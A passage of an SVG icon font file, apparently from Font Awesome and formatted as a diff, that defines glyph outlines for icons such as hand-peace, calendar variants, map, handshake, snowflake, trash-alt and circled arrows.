-8.83691 -6.26758 -16 -14 -16h-6c-7.73242 0 -14 7.16309 -14 16zM251.571 48v96 +c0 8.83691 6.26758 16 14 16h6c7.73145 0 14 -7.16309 14 -16v-96c0 -8.83691 -6.26855 -16 -14 -16h-6c-7.73242 0 -14 7.16309 -14 16zM327 48v96c0 8.83691 6.26758 16 14 16h6c7.73242 0 14 -7.16309 14 -16v-96c0 -8.83691 -6.26758 -16 -14 -16h-6 +c-7.73242 0 -14 7.16309 -14 16z" /> + <glyph glyph-name="hand-peace" unicode="" horiz-adv-x="448" +d="M362.146 256.024c42.5908 13.3184 85.8535 -19.0684 85.8535 -64.0244l-0.0117188 -70.001c-0.000976562 -5.24023 -0.600586 -10.3027 -1.72949 -15.2031l-27.4268 -118.999c-6.99707 -30.3564 -33.8105 -51.7969 -64.5547 -51.7969h-205.702 +c-23.8447 0 -45.9502 13.0303 -57.6904 34.0059l-54.8525 97.999c-19.2607 34.4092 -5.82422 67.2617 24.7324 92.2178l-55.7568 144.928c-14.5791 37.8867 3.72754 80.6113 41.2012 95.6416c37.6406 15.0977 80.3691 -3.63477 95.1123 -41.9424l18.6787 -78.8496 +l-9.14062 94c0 40.8037 32.8096 74 73.1396 74s73.1406 -33.1963 73.1406 -74v-87.6348c26.2451 3.6748 51.2959 -8.69238 65.0068 -30.3408zM399.987 122l-0.000976562 70c0 25.1602 -36.5674 25.1201 -36.5674 0c0 -8.83691 -7.16309 -16 -16 -16h-6.85547 +c-8.83789 0 -16 7.16309 -16 16v28c0 25.1592 -36.5674 25.1221 -36.5674 0v-28c0 -8.83691 -7.16309 -16 -16 -16h-6.85645c-8.83691 0 -16 7.16309 -16 16v182c0 34.4297 -50.2803 34.375 -50.2803 0v-182c0 -8.83691 -7.16309 -16 -16 -16h-11.6328 +c-6.80859 0 -12.624 4.25391 -14.9326 10.2539l-59.7842 155.357c-12.1396 31.5518 -59.2842 13.4326 -46.7168 -19.2227l64.0898 -166.549c0.685547 -1.78125 1.07812 -3.71875 1.07812 -5.74121c0 -4.99707 -2.2959 -9.46289 -5.88965 -12.3975l-26.6475 -21.7646 +c-7.12695 -5.81934 -9.06445 -16.3467 -4.50781 -24.4873l54.8535 -98c3.26367 -5.82812 9.31934 -9.44922 15.8057 -9.44922h205.701c8.49121 0 15.8037 5.99414 17.7812 14.5762l27.4277 119.001c0.333008 1.44629 0.501953 2.93457 0.501953 4.42285z" /> + <glyph glyph-name="registered" unicode="" +d="M256 440c136.967 0 248 -111.033 248 -248s-111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248zM256 -8c110.549 0 200 89.4678 200 200c0 110.549 -89.4678 200 -200 200c-110.549 0 -200 -89.4688 -200 -200c0 -110.549 89.4678 -200 200 -200z +M366.442 73.791c4.40332 -7.99219 -1.37012 -17.791 -10.5107 -17.791h-42.8096c-0.00488281 0 -0.000976562 -0.0126953 -0.00585938 -0.0126953c-4.58594 0 -8.57422 2.58301 -10.5869 6.37305l-47.5156 89.3027h-31.958v-83.6631c0 -6.61719 -5.38281 -12 -12 -12 +h-38.5674c-6.61719 0 -12 5.38281 -12 12v248.304c0 6.61719 5.38281 12 12 12h78.667c71.251 0 101.498 -32.749 101.498 -85.252c0 -31.6123 -15.2148 -59.2969 -39.4824 -73.1758c3.02148 -4.61719 0.225586 0.199219 53.2715 -96.085zM256.933 208.094 +c20.9131 0 32.4307 11.5186 32.4316 32.4316c0 19.5752 -6.5127 31.709 -38.9297 31.709h-27.377v-64.1406h33.875z" /> + <glyph glyph-name="calendar-plus" unicode="" horiz-adv-x="448" +d="M336 156v-24c0 -6.59961 -5.40039 -12 -12 -12h-76v-76c0 -6.59961 -5.40039 -12 -12 -12h-24c-6.59961 0 -12 5.40039 -12 12v76h-76c-6.59961 0 -12 5.40039 -12 12v24c0 6.59961 5.40039 12 12 12h76v76c0 6.59961 5.40039 12 12 12h24c6.59961 0 12 -5.40039 12 -12 +v-76h76c6.59961 0 12 -5.40039 12 -12zM448 336v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h48v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40 +c6.59961 0 12 -5.40039 12 -12v-52h48c26.5 0 48 -21.5 48 -48zM400 -10v298h-352v-298c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" /> + <glyph glyph-name="calendar-minus" unicode="" horiz-adv-x="448" +d="M124 120c-6.59961 0 -12 5.40039 -12 12v24c0 6.59961 5.40039 12 12 12h200c6.59961 0 12 -5.40039 12 -12v-24c0 -6.59961 -5.40039 -12 -12 -12h-200zM448 336v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h48v52 +c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h48c26.5 0 48 -21.5 48 -48zM400 -10v298h-352v-298c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" /> + <glyph glyph-name="calendar-times" unicode="" horiz-adv-x="448" +d="M311.7 73.2998l-17 -17c-4.7002 -4.7002 -12.2998 -4.7002 -17 0l-53.7002 53.7998l-53.7002 -53.6992c-4.7002 -4.7002 -12.2998 -4.7002 -17 0l-17 17c-4.7002 4.69922 -4.7002 12.2998 0 17l53.7002 53.6992l-53.7002 53.7002c-4.7002 4.7002 -4.7002 12.2998 0 17 +l17 17c4.7002 4.7002 12.2998 4.7002 17 0l53.7002 -53.7002l53.7002 53.7002c4.7002 4.7002 12.2998 4.7002 17 0l17 -17c4.7002 -4.7002 4.7002 -12.2998 0 -17l-53.7998 -53.7998l53.6992 -53.7002c4.80078 -4.7002 4.80078 -12.2998 0.100586 -17zM448 336v-352 +c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h48v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h48c26.5 0 48 -21.5 48 -48zM400 -10 +v298h-352v-298c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" /> + <glyph glyph-name="calendar-check" unicode="" horiz-adv-x="448" +d="M400 384c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h48v52c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-52h128v52c0 6.62695 5.37305 12 12 12h40 +c6.62695 0 12 -5.37305 12 -12v-52h48zM394 -16c3.31152 0 6 2.68848 6 6v298h-352v-298c0 -3.31152 2.68848 -6 6 -6h340zM341.151 184.65l-142.31 -141.169c-4.70508 -4.66699 -12.3027 -4.6377 -16.9707 0.0673828l-75.0908 75.6992 +c-4.66699 4.70508 -4.6377 12.3027 0.0673828 16.9707l22.7197 22.5361c4.70508 4.66699 12.3027 4.63672 16.9697 -0.0693359l44.1035 -44.4609l111.072 110.182c4.70508 4.66699 12.3027 4.63672 16.9707 -0.0683594l22.5361 -22.7178 +c4.66699 -4.70508 4.63672 -12.3027 -0.0683594 -16.9697z" /> + <glyph glyph-name="map" unicode="" horiz-adv-x="576" +d="M560.02 416c8.4502 0 15.9805 -6.83008 15.9805 -16.0195v-346.32c0 -13.4707 -8.32422 -24.9951 -20.1201 -29.71l-151.83 -52.8105c-6.23242 -2.02832 -12.9023 -3.12305 -19.8076 -3.12305c-7.07324 0 -13.8799 1.15039 -20.2422 3.27344l-172 60.71l-170.05 -62.8398 +c-1.99023 -0.790039 -4 -1.16016 -5.95996 -1.16016c-8.45996 0 -15.9902 6.83008 -15.9902 16.0195v346.32c0.00292969 13.4697 8.32617 24.9932 20.1201 29.71l151.83 52.8105c6.43945 2.08984 13.1201 3.13965 19.8096 3.13965 +c7.06641 -0.00292969 13.8789 -1.16602 20.2402 -3.28027l172 -60.7197h0.00976562l170.05 62.8398c1.98047 0.790039 4 1.16016 5.95996 1.16016zM224 357.58v-285.97l128 -45.1904v285.97zM48 29.9502l127.36 47.0801l0.639648 0.229492v286.2l-128 -44.5303v-288.979z +M528 65.0801v288.97l-127.36 -47.0693l-0.639648 -0.240234v-286.19z" /> + <glyph glyph-name="comment-alt" unicode="" +d="M448 448c35.2998 0 64 -28.7002 64 -64v-288c0 -35.2998 -28.7002 -64 -64 -64h-144l-124.9 -93.5996c-2.19922 -1.7002 -4.69922 -2.40039 -7.09961 -2.40039c-6.2002 0 -12 4.90039 -12 12v84h-96c-35.2998 0 -64 28.7002 -64 64v288c0 35.2998 28.7002 64 64 64h384z +M464 96v288c0 8.7998 -7.2002 16 -16 16h-384c-8.7998 0 -16 -7.2002 -16 -16v-288c0 -8.7998 7.2002 -16 16 -16h144v-60l67.2002 50.4004l12.7998 9.59961h160c8.7998 0 16 7.2002 16 16z" /> + <glyph glyph-name="pause-circle" unicode="" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM256 -8c110.5 0 200 89.5 200 200s-89.5 200 -200 200s-200 -89.5 -200 -200s89.5 -200 200 -200zM352 272v-160c0 -8.7998 -7.2002 -16 -16 -16h-48 +c-8.7998 0 -16 7.2002 -16 16v160c0 8.7998 7.2002 16 16 16h48c8.7998 0 16 -7.2002 16 -16zM240 272v-160c0 -8.7998 -7.2002 -16 -16 -16h-48c-8.7998 0 -16 7.2002 -16 16v160c0 8.7998 7.2002 16 16 16h48c8.7998 0 16 -7.2002 16 -16z" /> + <glyph glyph-name="stop-circle" unicode="" +d="M504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM56 192c0 -110.5 89.5 -200 200 -200s200 89.5 200 200s-89.5 200 -200 200s-200 -89.5 -200 -200zM352 272v-160c0 -8.7998 -7.2002 -16 -16 -16h-160 +c-8.7998 0 -16 7.2002 -16 16v160c0 8.7998 7.2002 16 16 16h160c8.7998 0 16 -7.2002 16 -16z" /> + <glyph glyph-name="handshake" unicode="" horiz-adv-x="640" +d="M519.2 320.1h120.8v-255.699h-64c-17.5 0 -31.7998 14.1992 -31.9004 31.6992h-57.8994c-1.7998 -8.19922 -5.2998 -16.0996 -10.9004 -23l-26.2002 -32.2998c-15.7998 -19.3994 -41.8994 -25.5 -64 -16.7998c-13.5 -16.5996 -30.5996 -24 -48.7998 -24 +c-15.0996 0 -28.5996 5.09961 -41.0996 15.9004c-31.7998 -21.9004 -74.7002 -21.3008 -105.601 3.7998l-84.5996 76.3994h-9.09961c-0.100586 -17.5 -14.3008 -31.6992 -31.9004 -31.6992h-64v255.699h118l47.5996 47.6006c10.5 10.3994 24.8008 16.2998 39.6006 16.2998 +h226.8c15.4326 0 29.4326 -6.22168 39.5996 -16.2998zM48 96.4004c8.7998 0 16 7.09961 16 16c0 8.7998 -7.2002 16 -16 16s-16 -7.2002 -16 -16c0 -8.80078 7.2002 -16 16 -16zM438 103.3c2.7002 3.40039 2.2002 8.5 -1.2002 11.2998l-108.2 87.8008l-8.19922 -7.5 +c-40.3008 -36.8008 -86.7002 -11.8008 -101.5 4.39941c-26.7002 29 -25 74.4004 4.39941 101.3l38.7002 35.5h-56.7002c-2 -0.799805 -3.7002 -1.5 -5.7002 -2.2998l-61.6992 -61.5996h-41.9004v-128.101h27.7002l97.2998 -88 +c16.0996 -13.0996 41.4004 -10.5 55.2998 6.60059l15.6006 19.2002l36.7998 -31.5c3 -2.40039 12 -4.90039 18 2.39941l30 36.5l23.8994 -19.3994c3.5 -2.80078 8.5 -2.2002 11.3008 1.19922zM544 144.1v128h-44.7002l-61.7002 61.6006 +c-1.39941 1.5 -3.39941 2.2998 -5.5 2.2998l-83.6992 -0.200195c-10 0 -19.6006 -3.7002 -27 -10.5l-65.6006 -60.0996c-9.7002 -8.7998 -10.5 -24 -1.2002 -33.9004c8.90039 -9.39941 25.1006 -8.7002 34.6006 0l55.2002 50.6006c6.5 5.89941 16.5996 5.5 22.5996 -1 +l10.9004 -11.7002c6 -6.5 5.5 -16.6006 -1 -22.6006l-12.5 -11.3994l102.699 -83.4004c2.80078 -2.2998 5.40039 -4.89941 7.7002 -7.7002h69.2002zM592 96.4004c8.7998 0 16 7.09961 16 16c0 8.7998 -7.2002 16 -16 16s-16 -7.2002 -16 -16c0 -8.80078 7.2002 -16 16 -16z +" /> + <glyph glyph-name="envelope-open" unicode="" +d="M494.586 283.484c10.6523 -8.80762 17.4141 -22.1064 17.4141 -36.9932v-262.491c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v262.515c0 14.9355 6.80469 28.2705 17.5146 37.0771c4.08008 3.35449 110.688 89.0996 135.15 108.549 +c22.6992 18.1426 60.1299 55.8594 103.335 55.8594c43.4365 0 81.2314 -38.1914 103.335 -55.8594c23.5283 -18.707 130.554 -104.773 135.251 -108.656zM464 -10v253.632c0 0.00195312 0.00390625 0.000976562 0.00390625 0.00292969 +c0 1.88184 -0.869141 3.56152 -2.22754 4.66016c-15.8633 12.8232 -108.793 87.5752 -132.366 106.316c-17.5527 14.0195 -49.7168 45.3887 -73.4102 45.3887c-23.6016 0 -55.2451 -30.8799 -73.4102 -45.3887c-23.5713 -18.7393 -116.494 -93.4795 -132.364 -106.293 +c-1.40918 -1.13965 -2.22559 -2.85254 -2.22559 -4.66504v-253.653c0 -3.31152 2.68848 -6 6 -6h404c3.31152 0 6 2.68848 6 6zM432.009 177.704c4.24902 -5.15918 3.46484 -12.7949 -1.74512 -16.9814c-28.9746 -23.2822 -59.2734 -47.5967 -70.9287 -56.8623 +c-22.6992 -18.1436 -60.1299 -55.8604 -103.335 -55.8604c-43.4521 0 -81.2871 38.2373 -103.335 55.8604c-11.2793 8.9668 -41.7441 33.4131 -70.9268 56.8643c-5.20996 4.1875 -5.99316 11.8223 -1.74512 16.9814l15.2578 18.5283 +c4.17773 5.07227 11.6572 5.84277 16.7793 1.72559c28.6182 -23.001 58.5654 -47.0352 70.5596 -56.5713c17.5527 -14.0195 49.7168 -45.3887 73.4102 -45.3887c23.6016 0 55.2461 30.8799 73.4102 45.3887c11.9941 9.53516 41.9434 33.5703 70.5625 56.5684 +c5.12207 4.11621 12.6016 3.3457 16.7783 -1.72656z" /> + <glyph glyph-name="address-book" unicode="" horiz-adv-x="448" +d="M436 288h-20v-64h20c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-20v-64h20c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-20v-48c0 -26.5 -21.5 -48 -48 -48h-320c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48 +h320c26.5 0 48 -21.5 48 -48v-48h20c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12zM368 -16v416h-320v-416h320zM208 192c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64zM118.4 64 +c-12.4004 0 -22.4004 8.59961 -22.4004 19.2002v19.2002c0 31.7998 30.0996 57.5996 67.2002 57.5996c11.3994 0 17.8994 -8 44.7998 -8c26.0996 0 34 8 44.7998 8c37.1006 0 67.2002 -25.7998 67.2002 -57.5996v-19.2002c0 -10.6006 -10 -19.2002 -22.4004 -19.2002 +h-179.199z" /> + <glyph glyph-name="address-card" unicode="" horiz-adv-x="576" +d="M528 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480zM528 16v352h-480v-352h480zM208 192c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64z +M118.4 64c-12.4004 0 -22.4004 8.59961 -22.4004 19.2002v19.2002c0 31.7998 30.0996 57.5996 67.2002 57.5996c11.3994 0 17.8994 -8 44.7998 -8c26.0996 0 34 8 44.7998 8c37.1006 0 67.2002 -25.7998 67.2002 -57.5996v-19.2002 +c0 -10.6006 -10 -19.2002 -22.4004 -19.2002h-179.199zM360 128c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h112c4.40039 0 8 -3.59961 8 -8v-16c0 -4.40039 -3.59961 -8 -8 -8h-112zM360 192c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h112 +c4.40039 0 8 -3.59961 8 -8v-16c0 -4.40039 -3.59961 -8 -8 -8h-112zM360 256c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h112c4.40039 0 8 -3.59961 8 -8v-16c0 -4.40039 -3.59961 -8 -8 -8h-112z" /> + <glyph glyph-name="user-circle" unicode="" horiz-adv-x="496" +d="M248 344c53 0 96 -43 96 -96s-43 -96 -96 -96s-96 43 -96 96s43 96 96 96zM248 200c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8 +c49.7002 0 95.0996 18.2998 130.1 48.4004c-14.8994 23 -40.3994 38.5 -69.5996 39.5c-20.7998 -6.5 -40.5996 -9.60059 -60.5 -9.60059s-39.7002 3.2002 -60.5 9.60059c-29.2002 -0.900391 -54.7002 -16.5 -69.5996 -39.5c35 -30.1006 80.3994 -48.4004 130.1 -48.4004z +M410.7 76.0996c23.3994 32.7002 37.2998 72.7002 37.2998 115.9c0 110.3 -89.7002 200 -200 200s-200 -89.7002 -200 -200c0 -43.2002 13.9004 -83.2002 37.2998 -115.9c24.5 31.4004 62.2002 51.9004 105.101 51.9004c10.1992 0 26.0996 -9.59961 57.5996 -9.59961 +c31.5996 0 47.4004 9.59961 57.5996 9.59961c43 0 80.7002 -20.5 105.101 -51.9004z" /> + <glyph glyph-name="id-badge" unicode="" horiz-adv-x="384" +d="M336 448c26.5 0 48 -21.5 48 -48v-416c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48h288zM336 -16v416h-288v-416h288zM144 336c-8.7998 0 -16 7.2002 -16 16s7.2002 16 16 16h96c8.7998 0 16 -7.2002 16 -16s-7.2002 -16 -16 -16 +h-96zM192 160c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64zM102.4 32c-12.4004 0 -22.4004 8.59961 -22.4004 19.2002v19.2002c0 31.7998 30.0996 57.5996 67.2002 57.5996c11.3994 0 17.8994 -8 44.7998 -8 +c26.0996 0 34 8 44.7998 8c37.1006 0 67.2002 -25.7998 67.2002 -57.5996v-19.2002c0 -10.6006 -10 -19.2002 -22.4004 -19.2002h-179.199z" /> + <glyph glyph-name="id-card" unicode="" horiz-adv-x="576" +d="M528 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480zM528 16v288h-480v-288h32.7998c-1 4.5 -0.799805 -3.59961 -0.799805 22.4004c0 31.7998 30.0996 57.5996 67.2002 57.5996 +c11.3994 0 17.8994 -8 44.7998 -8c26.0996 0 34 8 44.7998 8c37.1006 0 67.2002 -25.7998 67.2002 -57.5996c0 -26 0.0996094 -17.9004 -0.799805 -22.4004h224.8zM360 96c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h112c4.40039 0 8 -3.59961 8 -8v-16 +c0 -4.40039 -3.59961 -8 -8 -8h-112zM360 160c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h112c4.40039 0 8 -3.59961 8 -8v-16c0 -4.40039 -3.59961 -8 -8 -8h-112zM360 224c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h112 +c4.40039 0 8 -3.59961 8 -8v-16c0 -4.40039 -3.59961 -8 -8 -8h-112zM192 128c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64z" /> + <glyph glyph-name="window-maximize" unicode="" +d="M464 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h416zM464 22v234h-416v-234c0 -3.2998 2.7002 -6 6 -6h404c3.2998 0 6 2.7002 6 6z" /> + <glyph glyph-name="window-minimize" unicode="" +d="M480 -32h-448c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32h448c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32z" /> + <glyph glyph-name="window-restore" unicode="" +d="M464 448c26.5 0 48 -21.5 48 -48v-320c0 -26.5 -21.5 -48 -48 -48h-48v-48c0 -26.5 -21.5 -48 -48 -48h-320c-26.5 0 -48 21.5 -48 48v320c0 26.5 21.5 48 48 48h48v48c0 26.5 21.5 48 48 48h320zM368 -16v208h-320v-208h320zM464 80v320h-320v-48h224 +c26.5 0 48 -21.5 48 -48v-224h48z" /> + <glyph glyph-name="snowflake" unicode="" horiz-adv-x="448" +d="M440.1 92.7998c7.60059 -4.39941 10.1006 -14.2002 5.5 -21.7002l-7.89941 -13.8994c-4.40039 -7.7002 -14 -10.2998 -21.5 -5.90039l-39.2002 23l9.09961 -34.7002c2.30078 -8.5 -2.69922 -17.2998 -11.0996 -19.5996l-15.2002 -4.09961 +c-8.39941 -2.30078 -17.0996 2.7998 -19.2998 11.2998l-21.2998 81l-71.9004 42.2002v-84.5l58.2998 -59.3008c6.10059 -6.19922 6.10059 -16.3994 0 -22.5996l-11.0996 -11.2998c-6.09961 -6.2002 -16.0996 -6.2002 -22.2002 0l-24.8994 25.3994v-46.0996 +c0 -8.7998 -7 -16 -15.7002 -16h-15.7002c-8.7002 0 -15.7002 7.2002 -15.7002 16v45.9004l-24.8994 -25.4004c-6.10059 -6.2002 -16.1006 -6.2002 -22.2002 0l-11.1006 11.2998c-6.09961 6.2002 -6.09961 16.4004 0 22.6006l58.3008 59.2998v84.5l-71.9004 -42.2002 +l-21.2998 -81c-2.2998 -8.5 -10.9004 -13.5996 -19.2998 -11.2998l-15.2002 4.09961c-8.40039 2.2998 -13.2998 11.1006 -11.1006 19.6006l9.10059 34.6992l-39.2002 -23c-7.5 -4.39941 -17.2002 -1.7998 -21.5 5.90039l-7.90039 13.9004 +c-4.2998 7.69922 -1.69922 17.5 5.80078 21.8994l39.1992 23l-34.0996 9.2998c-8.40039 2.30078 -13.2998 11.1006 -11.0996 19.6006l4.09961 15.5c2.2998 8.5 10.9004 13.5996 19.2998 11.2998l79.7002 -21.7002l71.9004 42.2002l-71.9004 42.2002l-79.7002 -21.7002 +c-8.39941 -2.2998 -17.0996 2.7998 -19.2998 11.2998l-4.09961 15.5c-2.30078 8.5 2.69922 17.2998 11.0996 19.6006l34.0996 9.09961l-39.1992 23c-7.60059 4.5 -10.1006 14.2002 -5.80078 21.9004l7.90039 13.8994c4.40039 7.7002 14 10.2998 21.5 5.90039l39.2002 -23 +l-9.10059 34.7002c-2.2998 8.5 2.7002 17.2998 11.1006 19.5996l15.2002 4.09961c8.39941 2.30078 17.0996 -2.7998 19.2998 -11.2998l21.2998 -81l71.9004 -42.2002v84.5l-58.3008 59.3008c-6.09961 6.19922 -6.09961 16.3994 0 22.5996l11.5 11.2998 +c6.10059 6.2002 16.1006 6.2002 22.2002 0l24.9004 -25.3994v46.0996c0 8.7998 7 16 15.7002 16h15.6992c8.7002 0 15.7002 -7.2002 15.7002 -16v-45.9004l24.9004 25.4004c6.09961 6.2002 16.0996 6.2002 22.2002 0l11.0996 -11.2998 +c6.09961 -6.2002 6.09961 -16.4004 0 -22.6006l-58.2998 -59.2998v-84.5l71.8994 42.2002l21.3008 81c2.2998 8.5 10.8994 13.5996 19.2998 11.2998l15.2002 -4.09961c8.39941 -2.2998 13.2998 -11.1006 11.0996 -19.6006l-9.09961 -34.6992l39.1992 23 +c7.5 4.39941 17.2002 1.7998 21.5 -5.90039l7.90039 -13.9004c4.2998 -7.69922 1.7002 -17.5 -5.7998 -21.8994l-39.2002 -23l34.0996 -9.2998c8.40039 -2.30078 13.3008 -11.1006 11.1006 -19.6006l-4.10059 -15.5c-2.2998 -8.5 -10.8994 -13.5996 -19.2998 -11.2998 +l-79.7002 21.7002l-71.8994 -42.2002l71.7998 -42.2002l79.7002 21.7002c8.39941 2.2998 17.0996 -2.7998 19.2998 -11.2998l4.09961 -15.5c2.30078 -8.5 -2.69922 -17.2998 -11.0996 -19.6006l-34.0996 -9.2998z" /> + <glyph glyph-name="trash-alt" unicode="" horiz-adv-x="448" +d="M268 32c-6.62305 0 -12 5.37695 -12 12v216c0 6.62305 5.37695 12 12 12h24c6.62305 0 12 -5.37695 12 -12v-216c0 -6.62305 -5.37695 -12 -12 -12h-24zM432 368c8.83105 0 16 -7.16895 16 -16v-16c0 -8.83105 -7.16895 -16 -16 -16h-16v-336 +c0 -26.4922 -21.5078 -48 -48 -48h-288c-26.4922 0 -48 21.5078 -48 48v336h-16c-8.83105 0 -16 7.16895 -16 16v16c0 8.83105 7.16895 16 16 16h82.4102l34.0195 56.7002c8.39258 13.9844 23.6777 23.2998 41.1602 23.2998h100.82 +c0.0078125 0 -0.015625 0.0517578 -0.0078125 0.0517578c17.4824 0 32.7949 -9.36719 41.1875 -23.3516l34 -56.7002h82.4102zM171.84 397.09l-17.4502 -29.0898h139.221l-17.46 29.0898c-1.0498 1.74707 -2.95898 2.91016 -5.14355 2.91016h-0.00683594h-94 +c-0.00585938 0 -0.00683594 0.00683594 -0.0126953 0.00683594c-2.18457 0 -4.09766 -1.16992 -5.14746 -2.91699zM368 -16v336h-288v-336h288zM156 32c-6.62305 0 -12 5.37695 -12 12v216c0 6.62305 5.37695 12 12 12h24c6.62305 0 12 -5.37695 12 -12v-216 +c0 -6.62305 -5.37695 -12 -12 -12h-24z" /> + <glyph glyph-name="images" unicode="" horiz-adv-x="576" +d="M480 32v-16c0 -26.5098 -21.4902 -48 -48 -48h-384c-26.5098 0 -48 21.4902 -48 48v256c0 26.5098 21.4902 48 48 48h16v-48h-10c-3.31152 0 -6 -2.68848 -6 -6v-244c0 -3.31152 2.68848 -6 6 -6h372c3.31152 0 6 2.68848 6 6v10h48zM522 368h-372 +c-3.31152 0 -6 -2.68848 -6 -6v-244c0 -3.31152 2.68848 -6 6 -6h372c3.31152 0 6 2.68848 6 6v244c0 3.31152 -2.68848 6 -6 6zM528 416c26.5098 0 48 -21.4902 48 -48v-256c0 -26.5098 -21.4902 -48 -48 -48h-384c-26.5098 0 -48 21.4902 -48 48v256 +c0 26.5098 21.4902 48 48 48h384zM264 304c0 -22.0908 -17.9092 -40 -40 -40s-40 17.9092 -40 40s17.9092 40 40 40s40 -17.9092 40 -40zM192 208l39.5146 39.5146c4.68652 4.68652 12.2842 4.68652 16.9717 0l39.5137 -39.5146l103.515 103.515 +c4.68652 4.68652 12.2842 4.68652 16.9717 0l71.5137 -71.5146v-80h-288v48z" /> + <glyph glyph-name="clipboard" unicode="" horiz-adv-x="384" +d="M336 384c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h80c0 35.2998 28.7002 64 64 64s64 -28.7002 64 -64h80zM192 408c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24s24 10.7002 24 24 +s-10.7002 24 -24 24zM336 -10v340c0 3.2998 -2.7002 6 -6 6h-42v-36c0 -6.59961 -5.40039 -12 -12 -12h-168c-6.59961 0 -12 5.40039 -12 12v36h-42c-3.2998 0 -6 -2.7002 -6 -6v-340c0 -3.2998 2.7002 -6 6 -6h276c3.2998 0 6 2.7002 6 6z" /> + <glyph glyph-name="arrow-alt-circle-down" unicode="" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM256 -8c110.5 0 200 89.5 200 200s-89.5 200 -200 200s-200 -89.5 -200 -200s89.5 -200 200 -200zM224 308c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-116 +h67c10.7002 0 16.0996 -12.9004 8.5 -20.5l-99 -99c-4.7002 -4.7002 -12.2998 -4.7002 -17 0l-99 99c-7.5 7.59961 -2.2002 20.5 8.5 20.5h67v116z" /> + <glyph glyph-name="arrow-alt-circle-left" unicode="" +d="M8 192c0 137 111 248 248 248s248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248zM456 192c0 110.5 -89.5 200 -200 200s-200 -89.5 -200 -200s89.5 -200 200 -200s200 89.5 200 200zM384 212v-40c0 -6.59961 -5.40039 -12 -12 -12h-116v-67 +c0 -10.7002 -12.9004 -16 -20.5 -8.5l-99 99c-4.7002 4.7002 -4.7002 12.2998 0 17l99 99c7.59961 7.59961 20.5 2.2002 20.5 -8.5v-67h116c6.59961 0 12 -5.40039 12 -12z" /> + <glyph glyph-name="arrow-alt-circle-right" unicode="" +d="M504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM56 192c0 -110.5 89.5 -200 200 -200s200 89.5 200 200s-89.5 200 -200 200s-200 -89.5 -200 -200zM128 172v40c0 6.59961 5.40039 12 12 12h116v67 +c0 10.7002 12.9004 16 20.5 8.5l99 